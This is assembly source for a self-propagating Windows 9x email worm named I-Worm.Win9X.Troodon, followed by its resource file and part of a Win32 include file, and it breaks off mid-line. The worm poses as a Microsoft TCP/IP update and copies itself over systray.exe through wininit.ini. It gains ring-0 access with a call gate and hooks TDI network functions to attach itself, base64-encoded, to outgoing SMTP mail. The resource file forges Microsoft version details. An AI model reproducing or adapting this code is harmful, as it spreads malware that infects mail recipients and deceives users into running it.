[systray_ornot], 1+ jne .not_systray+ jmp .systray++.not_systray: ; it isn't installed in the system, so install it+ ; copy myself into 'systray.me'+ push dword 0+ push dword systray.me+ push dword my_path+ call CopyFileA++ ; write wininit.ini, so next time windows will start it will+ ; rename systray.exe into systray.sys and systray.me into systray.exe+ push dword wininit.ini+ push dword systray.exe+ push dword systray.sys+ push dword rename+ call WritePrivateProfileStringA++ push dword wininit.ini+ push dword systray.me+ push dword systray.exe+ push dword rename+ call WritePrivateProfileStringA++ push dword 0x00000030+ push dword msgCaption+ push dword msgContent+ push dword 0+ call MessageBoxA+ jmp .systray_over++.systray: ; run the original systray.exe (systray.sys)+ push dword 0+ push dword systray.sys+ call WinExec++.systray_over:+ ; signature+ mov eax, 0xC000E990 ; check if already there+ cmp dword [eax], 'WORM'++ ; if not resident, goto not_res+ jne not_res++ ; else get out+ jmp out_of_here++not_res: ; jump into ring0++ mov esi, Ring0Proc+ call callgate++ ; free the allocated mem+ call close_encode++out_of_here:; job done, time to let it go+ popad+ ret++;------------------------------------------------------------+; Ring0Proc+;------------------------------------------------------------+Ring0Proc pushf+ pushad++ ; calculate code size+ mov eax, end+ sub eax, start+ add eax, 0x100+ mov [codesize], eax++ ; alloc mem for encoded file+ VxDCall _HeapAllocate, dword [encoded_size], dword HEAPZEROINIT+ mov [heap_enc_addr], eax++ ; copy it there+ mov esi, dword [encoded_addr]+ mov edi, eax+ mov ecx, dword [encoded_size]+ repz movsb++ ; alloc some memory+ VxDCall IFSMgr_GetHeap, dword [codesize]+ mov [codeaddr], eax++ ; copy the code+ mov esi, start+ mov edi, eax+ mov ecx, [codesize]+ repz movsb++ ; make the hooks and stay in there+ mov eax, [codeaddr]+ add eax, heap_code - start+ call eax++.exit: ; time to say good bye+ popad+ popf+ retf+++;------------------------------------------------------------+; This code will be executed only in heap+;------------------------------------------------------------+heap_code: pushf+ pushad++ mov eax, 0xC000E990 ; mark "already there"+ mov dword [eax], 'WORM'+ call TdiHook++ popad+ popf+ ret+++;------------------------------------------------------------+; TdiHook+;------------------------------------------------------------+TdiHook: ; now i need to hook the TDI functions i need+ pushad++ mov ebp, [codeaddr]+ sub ebp, start++ ; Make sure VTDI is present+ VxDCall VTDI_Get_Version+ jnc .cont_1+ jmp .exit+.cont_1:++ ; Get a pointer to TCP dispatch table+ lea eax, [ebp + TCPName]+ push eax+ VxDCall VTDI_Get_Info+ add esp, 4++ ; Save the address of dispatch table+ lea esi, [ebp + TdiDispatchTable]+ mov [esi], eax+ cmp eax, 0+ ; if error get out+ jne .cont_2+ jmp .exit+.cont_2:++ ; ---------- Hook TdiConnect ----------+ mov ebx, [eax + 0x18]+ lea esi, [ebp + TdiConnect_PrevAddr]+ mov [esi], ebx++ ; patch some things in it+ lea edi, [ebp + TdiConnect_Jmp]+ mov [edi], esi++ lea edi, [ebp + TdiConnect_Delta]+ mov esi, [codeaddr]+ mov [edi], esi++ lea ebx, [ebp + TdiConnect_Hook]+ mov [eax + 0x18], ebx++ ; ---------- Hook TdiSend ----------+ mov ebx, [eax + 0x2C]+ lea esi, [ebp + TdiSend_PrevAddr]+ mov [esi], ebx++ ; patch some things in it+ lea edi, [ebp + TdiSend_Jmp]+ mov [edi], esi++ lea edi, [ebp + TdiSend_Delta]+ mov esi, [codeaddr]+ mov [edi], esi++ lea ebx, [ebp + TdiSend_Hook]+ mov [eax + 0x2C], ebx++ ; ---------- Hook TdiDisconnect ----------+ mov ebx, [eax + 0x1C]+ lea esi, [ebp + TdiDisconnect_PrevAddr]+ mov [esi], ebx++ ; patch some things in it+ lea edi, [ebp + TdiDisconnect_Jmp]+ mov [edi], esi++ lea edi, [ebp + TdiDisconnect_Delta]+ mov esi, [codeaddr]+ mov [edi], esi++ lea ebx, [ebp + TdiDisconnect_Hook]+ mov [eax + 0x1C], ebx++ ; ---------- Hook TdiCloseConnection ----------+ mov ebx, [eax + 0x0C]+ lea esi, [ebp + TdiCloseConnection_PrevAddr]+ mov [esi], ebx++ ; patch some things in it+ lea edi, [ebp + TdiCloseConnection_Jmp]+ mov [edi], esi++ lea edi, [ebp + TdiCloseConnection_Delta]+ mov esi, [codeaddr]+ mov [edi], esi++ lea ebx, [ebp + TdiCloseConnection_Hook]+ mov [eax + 0x0C], ebx++.exit: popad+ ret++;------------------------------------------------------------+; TdiConnect_Hook+;------------------------------------------------------------+TdiConnect_Hook:; MOV EDI, <address_of_code_in_heap>+ db 0xBF+TdiConnect_Delta:dd 0+ sub edi, start++ push ebp+ mov ebp, esp++ pushf+ pushad++ mov esi, [ebp + 0x10] ; esi = *RequestAddr+ mov esi, [esi + 0x14] ; esi = *RemoteAddr+ cmp word [esi + 0x06], 2 ; TDI_ADDRESS_TYPE_IP+ jne TdiConnect_Hook_Jmp++ ; check if the connection is to an SMTP server+ mov ax, word [esi + 0x08]+ cmp ax, 0x1900 ; smtp ?+ je .smtp_on++ ; if not, get out+ jmp TdiConnect_Hook_Jmp++.smtp_on: ;mov byte [edi + Trace], 1+ mov eax, [ebp + 0x08]+ mov eax, [eax]+ mov dword [edi + TraceHandle], eax++TdiConnect_Hook_Jmp:+ popad+ popf++ pop ebp++; jmp [TdiConnect_Jmp]+ db 0xFF, 0x25+TdiConnect_Jmp: dd 0+++;------------------------------------------------------------+; TdiSend_Hook+;------------------------------------------------------------+TdiSend_Hook:+ push ebp+ mov ebp, esp++ pushf+ pushad++ ; MOV EDI, <address_of_code_in_heap>+ db 0xBF+TdiSend_Delta: dd 0+ sub edi, start++ ; check if we trace the correct connection+ mov eax, [ebp + 0x08]+ mov eax, [eax]+ cmp [edi + TraceHandle], eax+ je .jump_over+ jmp .exit+.jump_over:+ ; so we are tracing our SMTP connection+ ; get the buffer length and address++ mov ebx, [ebp + 0x10]+ mov eax, [ebp + 0x14] ; eax = *SendBuffer+ mov esi, [eax + 0x04] ; esi = source buffer+ mov ecx, [eax + 0x0C] ; ecx = length+ mov [edi + sourcebuf], esi+ mov [edi + buflen], ecx++ ; check NextIsMail flag+ cmp byte [edi + NextIsMail], 1+ je .Mail++ lea edx, [edi + search_str]+ call strncmpi++ test eax, eax+ je .pass_1+ jmp .exit+.pass_1:+ ; set NextIsMail flag+ ; This flag is set when the DATA instruction for SMTP server is sent.+ ; DATA command is sent before sending the mail body.+ mov byte [edi + NextIsMail], 1++ jmp .exit++.Mail: ; reset NextIsMail flag+ mov byte [edi + NextIsMail], 0++ ; search in the mail for "Content-Type" string+ ; ESI = buffer source+ ; ECX = buffer length++ lea edx, [edi + strContentType]+ push esi ; save ESI+ push edx ;+ pop esi ; ESI = EDX+ call strlen+ pop esi ; restore ESI+ push eax ;+ pop ecx ; ECX = EAX++ mov ebx, [edi + buflen]+.next: call strncmpi+ test eax, eax+ jz .found_1+ inc esi+ dec ebx+ test ebx, ebx+ jz .not_found_1+ jmp .next++.not_found_1:+ jmp .exit++.found_1: mov [edi + mark1], esi ; save the position of "Content-Type" witch is the begin of the text mail++ add esi, ecx+ cmp byte [esi], ' '+ jne .pass_2+ inc esi++.pass_2: ; ESI points after "Content-Type:"+ ; check if Content-Type is text/plain -> this mean the e-mail is a simple text mail+ lea edx, [edi + strTextPlain]+ push esi+ push edx+ pop esi+ call strlen+ push eax+ pop ecx+ pop esi++ call strncmpi+ test eax, eax+ jne .not_textplain+ mov byte [edi + mailtype], 1 ; text/plain+ jmp .go_for_it++.not_textplain:+ lea edx, [edi + strMultipartAlternative]+ push esi+ push edx+ pop esi+ call strlen+ push eax+ pop ecx+ pop esi++ call strncmpi+ test eax, eax+ jne .not_multipartalternative+ mov byte [edi + mailtype], 2 ; text/plain + text/html+ jmp .go_for_it++.not_multipartalternative:+ lea edx, [edi + strMultipartMixed]+ push esi+ push edx+ pop esi+ call strlen+ push eax+ pop ecx+ pop esi++ call strncmpi+ test eax, eax+ jne .not_multipartmixed+ mov byte [edi + mailtype], 3 ; text + probably attachement+; jmp .go_for_it+.not_multipartmixed:+ jmp .exit++.go_for_it: ; EIP reached here if the e-mail is text/plain+ ; find the end of mail and save it+ mov esi, [edi + sourcebuf]+.again_1: cmp byte [esi], 0+ je .found_2+ inc esi+ jmp .again_1+.found_2: mov [edi + mark2], esi++ ; Get some memory for the new e-mail+ mov ecx, [edi + buflen]+; add ecx, [edi + newmaillen]+ add ecx, 15000+ VMMcall _HeapAllocate, ecx, dword HEAPZEROINIT+ test eax, eax+ jnz .pass_3+ jmp .exit+.pass_3: mov [edi + newmailaddr], eax++ ; copy until original "Content-Type"+ mov esi, [edi + sourcebuf]+ mov edx, eax+ mov ecx, [edi + mark1]+ sub ecx, esi+ call strncpy+ add edx, ecx++ ; copy my multipart/mixed header+ lea esi, [edi + myMultipartMixed]+ call strlen+ mov ecx, eax+ call strncpy+ add edx, ecx++ ; copy my boundary name+ lea esi, [edi + myBoundary]+ call strlen+ mov ecx, eax+ call strncpy+ add edx, ecx++ ; copy my used boundary name+ lea esi, [edi + myUseBoundary]+ call strlen+ mov ecx, eax+ call strncpy+ add edx, ecx++ ; copy original mail+ mov esi, [edi + mark1]+ mov ecx, [edi + mark2]+ sub ecx, esi+ call strncpy+ add edx, ecx++ ; copy my used boundary name+ lea esi, [edi + myUseBoundary]+ call strlen+ mov ecx, eax+ call strncpy+ add edx, ecx++ ; copy attachement header+ lea esi, [edi + myAttachHeader]+ call strlen+ mov ecx, eax+ call strncpy+ add edx, ecx++ ; base64 encoded file copy+ mov esi, [edi + heap_enc_addr]+ mov ecx, [edi + encoded_size]+ call strncpy+ add edx, ecx++ ; close boundary+ lea esi, [edi + myEndBoundary]+ call strlen+ mov ecx, eax+ call strncpy++ ; set new source buffer address+ mov esi, [ebp + 0x14] ; eax = *SendBuffer+ mov eax, [edi + newmailaddr]+ mov [esi + 0x04], eax ; source buffer+ ; set new buffer length+ push esi+ mov esi, [edi + newmailaddr]+ call strlen+ pop esi++ mov ebx, esi+ add ebx, eax+ cmp byte [ebx], 0+ jne .set_len+ dec eax+.set_len: mov [esi + 0x0C], eax ; buffer length+ mov [ebp + 0x10], eax ; buffer length++.exit: popad+ popf++ pop ebp++; jmp [TdiSend_Jmp]+ db 0xFF, 0x25+TdiSend_Jmp dd 0+++;------------------------------------------------------------+; TdiDisconnect_Hook+;------------------------------------------------------------+TdiDisconnect_Hook:+ push ebp+ mov ebp, esp++ pushf+ pushad++ ; MOV EDI, <address_of_code_in_heap>+ db 0xBF+TdiDisconnect_Delta:+ dd 0+ sub edi, start++ ; check if disconnecting our connection+ mov eax, [edi + TraceHandle]+ cmp [ebp + 0x08], eax+ jne .exit++ ; free the memory+ mov eax, [edi + newmailaddr]+ VMMcall _HeapFree, eax, dword 0++.exit: popad+ popf++ pop ebp++; jmp [TdiDisconnect_Jmp]+ db 0xFF, 0x25+TdiDisconnect_Jmp:dd 0+++;------------------------------------------------------------+; TdiCloseConnection_Hook+;------------------------------------------------------------+TdiCloseConnection_Hook:+ push ebp+ mov ebp, esp++ pushf+ pushad++ ; MOV EDI, <address_of_code_in_heap>+ db 0xBF+TdiCloseConnection_Delta:+ dd 0+ sub edi, start++ ; check if closing our connection+ mov eax, [edi + TraceHandle]+ cmp [ebp + 0x08], eax+ jne .exit++ ; free the memory+ mov eax, dword [edi + newmailaddr]+ VMMcall _HeapFree, eax, dword 0++.exit: popad+ popf++ pop ebp++; jmp [TdiCloseConnection_Jmp]+ db 0xFF, 0x25+TdiCloseConnection_Jmp:+ dd 0+++;------------------------------------------------------------+; String comparation non case sensitive+;------------------------------------------------------------+; Params:+; ESI = source+; EDX = destination+; ECX = length+; Return:+; EAX = 0 if strings match+; EAX = 1 if not match+;------------------------------------------------------------+strncmpi: pushf+ pushad++.loop: mov ah, byte [esi]+ mov al, byte [edx]++ ; if Caps Lock the make it non Caps+ cmp ah, 0x41 ; 'A'+ jge .great_then_A+ jmp .done_with_1+.great_then_A:+ cmp ah, 0x5A ; 'Z'+ jbe .less_then_Z+ jmp .done_with_1+.less_then_Z:+ add ah, 0x20++.done_with_1:+ ; if Caps Lock the make it non Caps+ cmp al, 0x41 ; 'A'+ jge .great_then_A_2+ jmp .done+.great_then_A_2:+ cmp al, 0x5A ; 'Z'+ jbe .less_then_Z_2+ jmp .done+.less_then_Z_2:+ add al, 0x20++.done: ; now it should be lower case+ cmp ah, al+ jne .not_match++ inc esi+ inc edx+ loop .loop++ ; if we are here then the strings are identical+ popad+ popf+ xor eax, eax+ jmp .exit++.not_match: ; if we are here then the strings are not identical+ popad+ popf+ mov eax, 1+.exit: ret+++;------------------------------------------------------------+; String length+;------------------------------------------------------------+; Params:+; ESI = source+; Return:+; EAX = length+;------------------------------------------------------------+strlen: push ebx+ push ecx+ push edx+ push esi+ push edi+ push ebp++ xor ecx, ecx+.not_zero: mov al, byte [esi]+ cmp al, 0+ je .exit+ inc esi+ inc ecx+ jmp .not_zero+.exit: mov eax, ecx++ pop ebp+ pop edi+ pop esi+ pop edx+ pop ecx+ pop ebx+ ret+++;------------------------------------------------------------+; String copy (length specified)+;------------------------------------------------------------+; Params:+; ESI = source+; EDX = destination+; ECX = length+;------------------------------------------------------------+strncpy: pushf+ pushad+ cld+ mov edi, edx+ repz movsb+.exit: popad+ popf+ ret+++;------------------------------------------------------------+; Encode in base64 the file+;------------------------------------------------------------+; Params:+; ESI = source filename+; Return:+; EAX = address of encoded buffer+; ECX = size of encoded file+;------------------------------------------------------------+encode: pushad++ ; copy it, so we have read-write access+ ; (if the program is started then we have readonly access)+ push dword 0+ push dword tempFileName+ push esi+ call CopyFileA+ mov esi, tempFileName++ ; open file+ push dword 0+ push dword 0+ push dword 3+ push dword 0+ push dword 1+ push dword 0xC0000000 ; GENERIC_READ | GENERIC_WRITE+ push esi+ call CreateFileA+ mov dword [hFile], eax++ ; get file size+ push dword 0+ push eax+ call GetFileSize+ mov dword [dwFileSize], eax++ ; pad the file with [0,2] zeroes+ ; add [0,2] to file size+ xor edx, edx+ mov ebx, 0x00000003+ div ebx++ ; remainder 0 ? (div by 3?)+ mov dword [pad_no], 0+ test edx, edx+ je .size_ok++ mov dword [pad_no], edx+ add dword [dwFileSize], edx++ ; dwBufSize = dwFileSize * 3 (base64 may be 3 times bigger then the original)+ mov eax, [dwFileSize]+ mov edx, 0x00000003+ mul edx+ mov dword [dwBufSize], eax+ jmp .fixed_size++.size_ok: mov eax, [dwFileSize]+ mov edx, 0x00000003+ mul edx+ mov dword [dwBufSize], eax++.fixed_size: ; alloc some memory+ push dword 0x00000004+ push dword 0x00001000+ push dword [dwBufSize]+ push dword 0x00000000+ call VirtualAlloc+ test eax, eax+ jne .pass_1+ jmp .exit+.pass_1: mov dword [encoded_addr], eax++ ; create file mapping+ push dword 0+ push dword [dwFileSize]+ push dword 0+ push dword 0x00000004 ; PAGE_READWRITE+ push dword 0+ push dword [hFile]+ call CreateFileMappingA+ mov dword [hMap], eax++ ; map view of file+ push dword [dwFileSize]+ push dword 0+ push dword 0+ push dword 0x00000002 ; FILE_MAP_WRITE+ push eax+ call MapViewOfFile+ mov dword [pMap], eax++ mov ecx, dword [pad_no]+ test ecx, ecx+ je .size_ok_2++ mov esi, eax+ add esi, dword [dwFileSize]+ sub esi, ecx++.loop_2: mov byte [esi], '0'+ dec ecx+ test ecx, ecx+ jne .loop_2++.size_ok_2: ; start encoding+ mov eax, dword [pMap]+ mov edx, dword [encoded_addr]+ mov ecx, dword [dwFileSize]+ add ecx, dword [pad_no]++ xor esi, esi+ mov edi, encTable++.loop: xor ebx, ebx+ mov bl, byte [eax]+ shr bl, 2+ and bl, 00111111b+ mov bh, byte [edi + ebx]+ mov byte [edx + esi], bh+ inc esi++ mov bx, word [eax]+ xchg bl, bh+ shr bx, 4+ mov bh, 0+ and bl, 00111111b+ mov bh, byte [edi + ebx]+ mov byte [edx + esi], bh+ inc esi++ inc eax+ mov bx, word [eax]+ xchg bl, bh+ shr bx, 6+ mov bh, 0+ and bl, 00111111b+ mov bh, byte [edi + ebx]+ mov byte [edx + esi], bh+ inc esi++ inc eax+ xor ebx, ebx+ mov bl, byte [eax]+ and bl, 00111111b+ mov bh, byte [edi + ebx]+ mov byte [edx + esi], bh+ inc esi+ inc eax++ sub ecx, 3+ cmp ecx, 0+ jne .loop++ mov dword [encoded_size], esi++ push dword [pMap]+ call UnmapViewOfFile++ push dword [hMap]+ call CloseHandle++ push dword [hFile]+ call CloseHandle++.exit: push dword tempFileName+ call DeleteFileA++ popad+ mov eax, dword [encoded_addr]+ mov ecx, dword [encoded_size]+ ret+++;------------------------------------------------------------+; Close encode (free allocated memory)+;------------------------------------------------------------+close_encode: pushad+ push dword [encoded_addr]+ push dword 0x00000000+ push dword 0x00008000+ call VirtualFree+ popad+ ret+++;------------------------------------------------------------+; Ring 0 Callgate+;------------------------------------------------------------++CGS equ 8++callgate: pushad+ push ebx+ sgdt [esp - 0x02]+ pop ebx+ xor eax, eax+ sldt ax+ and al, 0xF8++ add ebx, eax++ mov ch, byte [ebx + 0x07]+ mov cl, byte [ebx + 0x04]+ shl ecx, 0x10+ mov cx, word [ebx + 0x02]++ lea edi, [ecx + CGS]+ cld++ mov eax, esi+ stosw+ mov eax, 0xEC000028+ stosd+ shld eax, esi, 0x10+ stosw++ popad++ db 0x9A ; call 28:<esi>+ dd 0 ; unused+ dw CGS+100b+11b ; LDT+R3++ ret+++;------------------------------------------------------------+; Check if systray+;------------------------------------------------------------+check_systray:+ pushad++ ; check if in the name already exists 'systray.exe' witch means+ ; it is already installed in the system+ mov esi, my_path+ mov edx, systray_exe+ mov ecx, dword [systray_exe_len]+ mov ebx, 300+ sub ebx, dword [systray_exe_len]++.systray_again:+ call strncmpi+ dec ebx+ test ebx, ebx+ je .not_systray+ inc esi+ test eax, eax+ jne .systray_again+ jmp .systray++.not_systray:+ popad+ mov byte [systray_ornot], 0+ ret++.systray: popad+ mov byte [systray_ornot], 1+ ret+++;------------------------------------------------------------+; Make paths for use in installation etc.+;------------------------------------------------------------+make_paths: pushad+ push dword 260+ push dword systray.exe+ call GetSystemDirectoryA++ push dword 260+ push dword systray.sys+ call GetSystemDirectoryA++ push dword 260+ push dword systray.me+ call GetSystemDirectoryA++ push dword systray.exe_+ push dword systray.exe+ call lstrcatA++ push dword systray.sys_+ push dword systray.sys+ call lstrcatA++ push dword systray.me_+ push dword systray.me+ call lstrcatA++ popad+ ret++++++;beep: pushad+; mov ax, 1000+; mov bx, 200+; mov cx, ax+; mov al, 0xB6+; out 0x43, al+; mov dx, 0x0012+; mov ax, 0x34DC+; div cx+; out 0x42, al+; mov al, ah+; out 0x42, al+; in al, 0x61+; mov ah, al+; or al, 0x03+; out 0x61, al+;l1: mov ecx, 4680+;l2: loop l2+; dec bx+; jnz l1+; mov al, ah+; out 0x61, al+;+; popad+; ret++[section .data]+my_path times 300 db 0+path_len dd 300+systray.exe times 260 db 0+systray.exe_ db '\systray.exe', 0+systray.sys times 260 db 0+systray.sys_ db '\systray.sys', 0+systray.me times 260 db 0+systray.me_ db '\systray.me', 0+wininit.ini db 'wininit.ini', 0+rename db 'Rename', 0+systray_exe db 'SYSTRAY.EXE', 0+systray_exe_len dd 11 ; size of the string above+tempFileName db '\systray.tmp', 0+systray_ornot db 0 ; 0 - "myself" isn't systray.exe :)+ ; 1 - "myself" is systray.exe :)++msgCaption db 'Windows TCP/IP Update', 0+msgContent db "The system doesn't need an update.", 13, 10+ db 'Latest version of TCP/IP already present.', 0++hFile dd 0+hMap dd 0+pMap dd 0+dwFileSize dd 0+dwBufSize dd 0+encoded_addr dd 0+heap_enc_addr dd 0+encoded_size dd 0+encTable db 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'+pad db '='+pad_no dd 0+mailtype db 0++codeaddr dd 0+codesize dd 0++TCPName db 'MSTCP', 0+TdiDispatchTable dd 0+TdiConnect_PrevAddr dd 0+TdiSend_PrevAddr dd 0+TdiDisconnect_PrevAddr dd 0+TdiCloseConnection_PrevAddr dd 0+TraceHandle dd 0+NextIsMail db 0+sourcebuf dd 0+buflen dd 0+search_str db 'DATA', 0x0D, 0x0A, 0+newmailaddr dd 0+;newmaillen dd 0++strContentType db 'Content-Type:', 0+strMultipartAlternative db 'multipart/alternative', 0+strMultipartMixed db 'multipart/mixed', 0+strTextPlain db 'text/plain', 0+strTextHtml db 'text/html', 0+strApp db 'application/x-msdownload', 0++mark1 dd 0+mark2 dd 0++myMultipartMixed db 'Content-Type: multipart/mixed;', 13, 10, 0+myBoundary db 9, 'boundary="----This_is_created_by_VX_e-mail_service"', 13, 10, 0+myUseBoundary db 13, 10, '------This_is_created_by_VX_e-mail_service', 13, 10, 0+myAttachHeader db 'Content-Type: application/x-msdownload;', 13, 10+ db 9, 'name="TCPIPUPD.EXE"', 13, 10+ db 'Content-Transfer-Encoding: base64', 13, 10+ db 'Content-Disposition: attachement;', 13, 10+ db 9, 'filename="TCPIPUPD.EXE"', 13, 10, 13, 10, 0+myEndBoundary db 13, 10, '------This_is_created_by_VX_e-mail_service--', 13, 10, 0++hWnd dd 0+WindowHandle dd 0+ClassName db 'I-Worm', 0+WindowTitle db 'Troodon', 0+x dd step+y dd step+rect: ISTRUC RECT+ at RECT.left, dd 0+ at RECT.top, dd 0+ at RECT.right, dd 0+ at RECT.bottom, dd 0+ IEND++WindowClassStruc:+ISTRUC WNDCLASS+ at WNDCLASS.style, dd 0+ at WNDCLASS.lpfnWndProc, dd WndProc+ at WNDCLASS.cbClsExtra, dd 0+ at WNDCLASS.cbWndExtra, dd 0+ at WNDCLASS.hInstance, dd 0+ at WNDCLASS.hIcon, dd NULL+ at WNDCLASS.hCursor, dd NULL+ at WNDCLASS.hbrBackground, dd 1+ at WNDCLASS.lpszMenuName, dd NULL+ at WNDCLASS.lpszClassName, dd ClassName+IEND++WindowMSG:+ISTRUC MSG+ at MSG.hwnd, dd 0+ at MSG.message, dd 0+ at MSG.wParam, dd 0+ at MSG.lParam, dd 0+ at MSG.time, dd 0+IEND++STime:+ISTRUC SYSTEMTIME+ at SYSTEMTIME.wYear, dw 0+ at SYSTEMTIME.wMonth, dw 0+ at SYSTEMTIME.wDayOfWeek, dw 0+ at SYSTEMTIME.wDay, dw 0+ at SYSTEMTIME.wHour, dw 0+ at SYSTEMTIME.wMinute, dw 0+ at SYSTEMTIME.wSecond, dw 0+ at SYSTEMTIME.wMilliseconds, dw 0+IEND++copyright db 'I-Worm.Win9X.Troodon v1.0 Project', 13, 10+ db 'Developed by Clau.', 0++end:+��������������������������������������������������������������[TROODON.ASM]���+���������������������������������������������������������������[TROODON.RC]���+#define IDI_ICON 100+IDI_ICON ICON <v.ico>++1 VERSIONINFO+FILEVERSION 1,0,0,0+PRODUCTVERSION 1,0,0,0+FILEFLAGSMASK 0x0000003FL+FILEFLAGS 0x0000000BL+FILEOS 0x00010001L+FILETYPE 0x00000001L+FILESUBTYPE 0x00000000L+BEGIN+BLOCK "StringFileInfo"+BEGIN+BLOCK "040904E4"+BEGIN+VALUE "FileDescription","TCP/IP Update for Microsoft Windows 95/98\0"+VALUE "FileVersion", "6.6.6\0"+VALUE "LegalCopyright", "Copyright (C) Microsoft Corp. 1999-2000\0"+VALUE "CompanyName", "Microsoft Corporation\0"+VALUE "InternalName","TCPIPUPD\0"+VALUE "OriginalFilename", "TCPIPUPD.EXE\0"+VALUE "ProductName","Microsoft(R) Windows NT(R) Operating System\0"+VALUE "ProductVersion", "6.6.6\0"+END+END+BLOCK "VarFileInfo"+BEGIN+VALUE "Translation", 0x0409,1252+END+END+���������������������������������������������������������������[TROODON.RC]���+���������������������������������������������������������������[WIN32N.INC]���+; Win32.inc for NASM 1999 version 0.06 by Tamas Kaproncai [[email protected]]++; Greetings to everyone on the windows.inc scene:+; Sven B. Schreiber, Philippe Auphelle, Gij, Iczelion,+; Steve Hutchesson, Barry Kauler, Wayne Radburn...++;-----------------------------data types----------------------------------+%define ACHAR BYTE ;ansi character+%define ATOM DWORD ;string atom+%define BOOL DWORD ;boolean variable+%define COLORREF DWORD ;rgb color+%define DWORDLONG QWORD ;long double word+%define GLOBALHANDLE DWORD ;global handle+%define HACCEL DWORD ;accelerator handle+%define HANDLE DWORD ;unspecified handle+%define HBITMAP DWORD ;bitmap handle+%define HBRUSH DWORD ;brush handle+%define HCOLORSPACE DWORD ;color space handle+%define HCURSOR DWORD ;cursor handle+%define HDC DWORD ;device context handle+%define HDWP DWORD ;defer win pos handle+%define HENHMETAFILE DWORD ;enh. metafile handle+%define HFILE DWORD ;file handle+%define HFONT DWORD ;font handle+%define HGLOBAL DWORD ;global handle+%define HHOOK DWORD ;hook handle+%define HICON DWORD ;icon handle+%define HINSTANCE DWORD ;instance handle+%define HINTERNET DWORD ;internet handle+%define HLOCAL DWORD ;local handle+%define HMENU DWORD ;menu handle+%define HMETAFILE DWORD ;metafile handle+%define HPALETTE DWORD ;palette handle+%define HPEN DWORD ;pen handle+%define HRGN DWORD ;region handle+%define HRSRC DWORD ;resource handle+%define HSTR DWORD ;string handle+%define HTASK DWORD ;task handle+%define HTREEITEM DWORD ;tree view item handle+%define HWND DWORD ;window handle+%define INTEGER DWORD ;standard integer+%define LOCALHANDLE DWORD ;local handle+%define LONG DWORD ;long integer+%define LONGINT DWORD ;long integer+%define LPARAM DWORD ;long parameter+%define LPBOOL DWORD ;long ptr to boolean+%define LPBYTE DWORD ;long ptr to byte+%define LPCSTR DWORD ;long ptr to string+%define LPCTSTR DWORD ;long ptr to string+%define LPCVOID DWORD ;long ptr to buffer+%define LPDWORD DWORD ;long ptr to dword+%define LPFN DWORD ;long ptr to function+%define LPINT DWORD ;long ptr to integer+%define LPLONG DWORD ;long ptr to long int+%define LPMSG DWORD ;long pointer to message+%define LPPAINTSTRUCT DWORD ;long pointer to paint structure+%define LPRECT DWORD ;long pointer to rectangle+%define LPSTR DWORD ;long ptr to string+%define LPTSTR DWORD ;long ptr to string+%define LPVOID DWORD ;long ptr to buffer+%define LPWORD DWORD ;long ptr to word+%define LRESULT DWORD ;long result+%define POINTER DWORD ;pointer to anything+%define PVOID DWORD ;pointer to buffer+%define SHORTINT WORD ;short integer+%define UINT DWORD ;unsigned integer+%define WCHAR WORD ;unicode character+%define WNDPROC DWORD ;window procedure+%define WPARAM DWORD ;word parameter++;-------------------------WindowProc macros-------------------------------++%MACRO StartWindowProc 0+PUSH EBP+MOV EBP,ESP+%DEFINE hwnd EBP+8+%DEFINE uMsg EBP+12+%DEFINE wParam EBP+16+%DEFINE lParam EBP+20+%ENDMACRO++%MACRO EndWindowProc 0+POP EBP+RETN 16+%ENDMACRO++;-------------------------win32api equates-------------------------------+WINAPI equ 1+TRUE equ 1+FALSE equ 0+NULL equ 0+Normal equ 000000h+ReadOnly equ 000001h+Hidden equ 000010h+System equ 000100h+vLabel equ 001000h+SubDir equ 010000h+Archive equ 100000h+Black equ 000000h+Blue equ 0FF0000h+Green equ 00FF00h+Cyan equ 0FFFF00h+Red equ 0000FFh+Magenta equ 0FF00FFh+Yellow equ 00FFFFh+White equ 0FFFFFFh+Gray equ 080808h+ANYSIZE_ARRAY equ 1+INVALID_HANDLE_VALUE equ -1+DELETE equ 10000h+READ_CONTROL equ 20000h+WRITE_DAC equ 40000h+WRITE_OWNER equ 80000h+SYNCHRONIZE equ 100000h+STANDARD_RIGHTS_READ equ READ_CONTROL+STANDARD_RIGHTS_WRITE equ READ_CONTROL+STANDARD_RIGHTS_EXECUTE equ READ_CONTROL+STANDARD_RIGHTS_REQUIRED equ 0F0000h+STANDARD_RIGHTS_ALL equ 1F0000h+SPECIFIC_RIGHTS_ALL equ 0FFFFh+SID_REVISION equ 1+SID_MAX_SUB_AUTHORITIES equ 15+SID_RECOMMENDED_SUB_AUTHORITIES equ 1+SidTypeUser equ 1+SidTypeGroup equ 2+SidTypeDomain equ 3+SidTypeAlias equ 4+SidTypeWellKnownGroup equ 5+SidTypeDeletedAccount equ 6+SidTypeInvalid equ 7+SidTypeUnknown equ 8+SECURITY_NULL_RID equ 0h+SECURITY_WORLD_RID equ 0h+SECURITY_LOCAL_RID equ 0h+SECURITY_CREATOR_OWNER_RID equ 0h+SECURITY_CREATOR_GROUP_RID equ 1h+SECURITY_DIALUP_RID equ 1h+SECURITY_NETWORK_RID equ 2h+SECURITY_BATCH_RID equ 3h+SECURITY_INTERACTIVE_RID equ 4h+SECURITY_SERVICE_RID equ 6h+SECURITY_ANONYMOUS_LOGON_RID equ 7h+SECURITY_LOGON_IDS_RID equ 5h+SECURITY_LOCAL_SYSTEM_RID equ 12h+SECURITY_NT_NON_UNIQUE equ 15h+SECURITY_BUILTIN_DOMAIN_RID equ 20h+DOMAIN_USER_RID_ADMIN equ 1F4h+DOMAIN_USER_RID_GUEST equ 1F5h+DOMAIN_GROUP_RID_ADMINS equ 200h+DOMAIN_GROUP_RID_USERS equ 201h+DOMAIN_GROUP_RID_GUESTS equ 202h+DOMAIN_ALIAS_RID_ADMINS equ 220h+DOMAIN_ALIAS_RID_USERS equ 221h+DOMAIN_ALIAS_RID_GUESTS equ 222h+DOMAIN_ALIAS_RID_POWER_USERS equ 223h+DOMAIN_ALIAS_RID_ACCOUNT_OPS equ 224h+DOMAIN_ALIAS_RID_SYSTEM_OPS equ 225h+DOMAIN_ALIAS_RID_PRINT_OPS equ 226h+DOMAIN_ALIAS_RID_BACKUP_OPS equ 227h+DOMAIN_ALIAS_RID_REPLICATOR equ 228h+SE_GROUP_MANDATORY equ 1h+SE_GROUP_ENABLED_BY_DEFAULT equ 2h+SE_GROUP_ENABLED equ 4h+SE_GROUP_OWNER equ 8h+SE_GROUP_LOGON_ID equ 0C0000000h+FILE_BEGIN equ 0+FILE_CURRENT equ 1+FILE_END equ 2+FILE_FLAG_WRITE_THROUGH equ 